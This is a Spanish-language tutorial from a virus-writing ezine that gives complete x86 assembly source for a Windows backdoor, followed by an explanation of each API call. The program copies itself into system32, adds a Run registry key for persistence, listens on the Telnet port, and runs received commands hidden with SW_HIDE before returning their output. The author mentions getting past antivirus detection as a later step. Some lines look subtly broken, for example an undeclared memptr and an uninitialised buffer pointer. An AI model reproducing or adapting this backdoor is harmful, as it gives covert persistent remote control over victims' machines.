#GEDZAC Mitosis eZine Issue 4
#MITOSIS ARTICLE#
#Backdoor basico en ASM
#Autor: Slayer
Este articulo trata de cómo crear un shellbackdoor en assembler para Windows. Bueno si ya leyeron el artículo sobre la creación de un servidor básico en ASM este artículo les será mucho más fácil de comprender.Desglosaremos las funciones del backdoor para que vayamos de forma mas ordenada.Nota: la mecánica será la siguiente desglosar los pasos a seguir, veremos el código fuente con los comentarios, y porultimo analizar el código de las funciones más relevantes.
----------------------------------------------------------
Pasos a seguir:
1.. Obtener ruta donde nuestra aplicación es ejecutada
1.1 Obtener ruta del sistema
1.2 Copiarnos a la carpeta del sistema
1.3 Crear llave de registro para nuestra residencia
2.. Iniciar el socket y todo lo que implica poner el socket a la escucha de un puerto recibir y enviar información
3.. Redireccionar la ejecución de comandos D.O.S a un archivo de texto plano
3.1 Leer el archivo creado
3.2 Enviar el resultado de la lectura
3.3 Eliminar el archivo anterior mente creado
----------------------------------------------------------
;<- -- -------- Codigo completo
.486p
.model flat,stdcall
option casemap:none
include windows.inc
include wsock32.inc
include kernel32.inc
include advapi32.inc
includelib advapi32.lib
includelib wsock32.lib
includelib kernel32.lib
.data
yo db 255 dup (?) ;ruta donde nos ejecutamos
sys db 255 dup (?) ;ruta de la carpeta system32
otro db "\backone.exe",0 ;nombre que tendra nuestra copia
llave db 'Software\Microsoft\Windows\CurrentVersion\Run\',0 ;llave de registro
root db "r0ot@vxd :",0 ;cadena
wea db " ",13,10
;<--------- para ejecutar comandos D.O.S -----|
a db "command.com /c ",0
b db " dir ",0
arch db ">c:\auto.txt",0
;<--------------------------------------------|
welcome db "Bienvenido a mula socket",13,10 ; saludo de bienvenida
final db 512 dup (0) ;donde almacenaremos lo recibido
carac db 1 ;caracter a caracter lo que recibimos
bread dd ?
result dd ?
fsize dd ?
fhandle dd ?
archivo db "c:\auto.txt",0
.data?
s1 SOCKET ? ;puntero al socket 1
s2 SOCKET ? ;puntero al socket 2
sin1 sockaddr_in <> ;estructura del socket 1
sin2 sockaddr_in <> ;estructura del socket 2
wsaData WSADATA <> ; estructura del winsock segun version presente
temp dd ? ;variable sin valor
com db 100 dup (?)
.code
inicio:
;<1.
invoke GetModuleFileName,0, addr yo,255 ;obtenemos la ruta donde nos ejecutamos
;<1.1
invoke GetSystemDirectory,addr sys,255 ;obtenemos la ruta system32
invoke lstrcat,addr sys, addr otro ;concatenamos las cadenas para obtener la ruta completa
;donde nos copiaremos
;<1.2
invoke CopyFile,addr yo,addr sys,0 ;por desgracia esta rutina es detectada por los av.
;pero por ahora a modo de ejemplo es valida mas adelante ver
;como solucionar el problema
;<1.3
invoke RegSetValueA,080000002h, addr llave,1,addr sys, eax ;creamos la llave de registro para nuestra
;recidencia
;<Fin 1.x
;<2. iniciar el socket
invoke WSAStartup,0101h,ADDR wsaData ;inbocamos la libreria
invoke socket,PF_INET,SOCK_STREAM,0 ;creamos el socket
mov s1,eax ;pasamos el valor de retorno a la variable s1 (puntero o descriptor de nuestro socket)
mov ax,AF_INET ;formato de la direccion
mov sin1.sin_family,ax ;llenamos la estructura AF_INET
xor eax,eax ;vasiamos el registro
mov sin1.sin_addr,eax ;aquí tenemos la dirección de nuestro guesped
invoke htons,23 ;Telnet port (convertimos el valor con htons)
mov sin1.sin_port,ax ; pasamos el puerto convertido a un valor aceptado por la maquina
invoke bind,s1,ADDR sin1,SIZEOF sockaddr_in ; arraigamos toda la estructura y parámetros al uso local
cmp eax,SOCKET_ERROR ;comparamos si ocurre un error
jne @F ;jne salta si no es =
call WSACleanup ;cierra la iniciación previa
xor eax,eax
ret
@@:
invoke listen,s1,1 ;ponemos nuestro socket a la escucha
next_user:
invoke closesocket,s2
mov eax,SIZEOF sockaddr_in
mov temp,eax
invoke accept,s1,ADDR sin2,ADDR temp
mov s2,eax
invoke send,s2,ADDR welcome,SIZEOF welcome,0
invoke send,s2,ADDR wea,SIZEOF wea,0
invoke send,s2,ADDR root,SIZEOF root,0
next:
invoke recv,s2, addr carac,1,0
or eax,eax
jz next_user
cmp eax,SOCKET_ERROR
je next_user
cmp carac,"_" ; si es "_" procedemos a ejecutar la orden
je listo
invoke lstrcat,addr final, addr carac ;concatenamos los caracteres recibidos
jmp next
;<Fin 2.x funciones del socket
@@:
listo:
;<3. Ejecutamos el comando y lo almacenamos en c:\auto.txt
;< de esta forma : command.com /c "comando" >c:\auto.txt,SW_HIDE
invoke lstrcpy,addr com, addr a ;comando command.com /c
invoke lstrcat,addr com, addr final; este es el comando que llego por telnet
invoke lstrcat,addr com, addr arch
invoke WinExec,addr com,SW_HIDE
mov carac,0
mov final,0
mov com,0
lerr:
;<3.1 leer archivo
push 0 ;htemplate
push 080h ;Dwflags and atribbutes NORMAL_ATRIBUTE
push 3
push 0 ;security_atributes
push 2 ;dwShareMode
push 80000000h ;GENERIC_READ
push offset archivo
call CreateFileA
cmp eax,0ffffffffh
je lerr
mov fhandle,eax
push 0
push fhandle
Call GetFileSize
mov fsize,eax
push fsize
push 0
call GlobalAlloc
mov memptr,eax
push 0
push offset bread
push fsize
push result
push fhandle
Call ReadFile
;<3.2 enviamos el resultado de la lectura
push 0
push fsize
push result
push s2
call send
push fhandle
call CloseHandle
push result
call GlobalFree
invoke send,s2,ADDR wea,SIZEOF wea,0
invoke send,s2,ADDR root,SIZEOF root,0
;<3.3 eliminamos el archivo anteriormente creado
push offset archivo
call DeleteFileA
mov carac,0
mov final,0
mov com,0
jmp next
end inicio
;<- ------- Fin del código
Análisis
Viendo el código no hay mucho que explicar realmente, lo mas relevante que es lo relacionado con el socket ya esta explicado en el articulo anterior. Dado esto explicare el uso de las apis involucradas en el código.
GetModuleFileName,NULL, addr Buffer,225 : esta función extrae el directorio mas el nombre
de la aplicación, y la devolverá en la variable Buffer. 255 significa la longitud máxima
de caracteres que va a devolver.
invoke GetSystemDirectory,addr Buffer,255 :esta api nos devolverá la ruta de la carpeta system32
cuyo resultado se almacenara en buffer.
invoke RegSetValueA,080000002h, addr llave,1,addr sys,0 : esta función la usaremos para crear
una llave en el registro para nuestra sucesiva ejecución tb podríamos llamar a la función de esta manera
"invoke RegSetValueA,HKEY_LOCAL_MACHINE, addr llave,REG_SZ,addr sys,NULL"
080000002h = HKEY_LOCAL_MACHINE
llave = Software\Microsoft\Windows\CurrentVersion\Run\
1 = REG_SZ = Cadena de texto de longitud fija
sys = la ruta de sytem32 + el nombre de nuestra copia
0 = NULL
invoke WinExec,addr com,SW_HIDE : esta función ejecuta la aplicación que queramos
creo que solo es compatible con aplicaciones de 16 bits justo para lo que la usaremos en
nuestro caso.
Como sabemos si abrimos la consola de comandos y escribimos algo asi:
dir c:\windows >c:\hola.txt
El resultado del comando dir se almacenara en el archivo de texto en la ruta especificada.
bueno este es el método en el cual basaremos nuestro backdoor. Para ejecutar un comando
desde nuestra aplicación deberíamos entregar los parámetros de la siguiente forma
command.com /c dir c:\windows >c:\hola.txt
Para conseguir este orden y entregar los parámetros de forma correcta
debemos concatenar o unir algunas variables que contendrán nuestros parámetros.
invoke lstrcpy,addr com, addr a ;com es una variable a la cual le entregamos el primer valor(command.com /c)
invoke lstrcat,addr com, addr final;ahora le agregamos el comando que recibamos del cliente (ejemplo dir)
invoke lstrcat,addr com, addr arch ; por ultimo entregamos el parámetro del archivo donde almacenaremos
;el comando (>c:\hola.txt).
invoke WinExec,addr com,SW_HIDE ; ok al final ejecutamos el comando contenido en la variable "com"
el parámetro SW_HIDE hace que dicho comando se ejecute de forma oculta así la ventana dos no se vera
y no habrá señal alguna.
push 0 ;htemplate
push 080h ;Dwflags and atribbutes NORMAL_ATRIBUTE
push 3
push 0 ;security_atributes
push 2 ;dwShareMode
push 80000000h ;GENERIC_READ
push offset archivo
call CreateFileA :Crea, abre o trunca un fichero, pipe, recurso de comunicación,
dispositivo de disco o consola. Devuelve un manipulador que puede ser usado para acceder al objeto.
También puede abrir y retornar un manipulador a un directorio
push 0
push fhandle ; manejador que nos regresa la función CreateFileA
Call GetFileSize : La función GetFileSize devuelve el tamaño, en bytes, del fichero especificado.
push fsize
push 0
call GlobalAlloc :La función GlobalAlloc reserva el número de bytes de memoria
especificados desde el montón. En el entorno lineal del API Win32,
no hay diferencias entre el montón local y el global.
push 0
push offset bread
push fsize
push result
push fhandle
Call ReadFile :Lee datos desde un fichero, comenzando en la posición indicada por el puntero del fichero.
Después de que la operación de lectura ha sido completada, el puntero del fichero se ajusta según el_
número de bytes leídos, a no ser que el manipulador de fichero haya sido creado con el atributo de_
superposición (overlapped). Si el manipulador de fichero es creado para entradas y salidas superpuestas_
(overlapped I/O), la aplicación debe ajustar la posición del puntero del fichero después de la operación_
de lectura.
GlobalFree:la función GlobalFree libera el objeto de memoria gloabl e invalida su manipulador.
push offset archivo
DeleteFileA :esta funcion elimina el archivo especificado.
Bueno estas son las apis implícitas en el backdoor que no fueron explicadas en el articulo anterior.
Saludos
(C) Mitosis 4 - GEDZAC LABS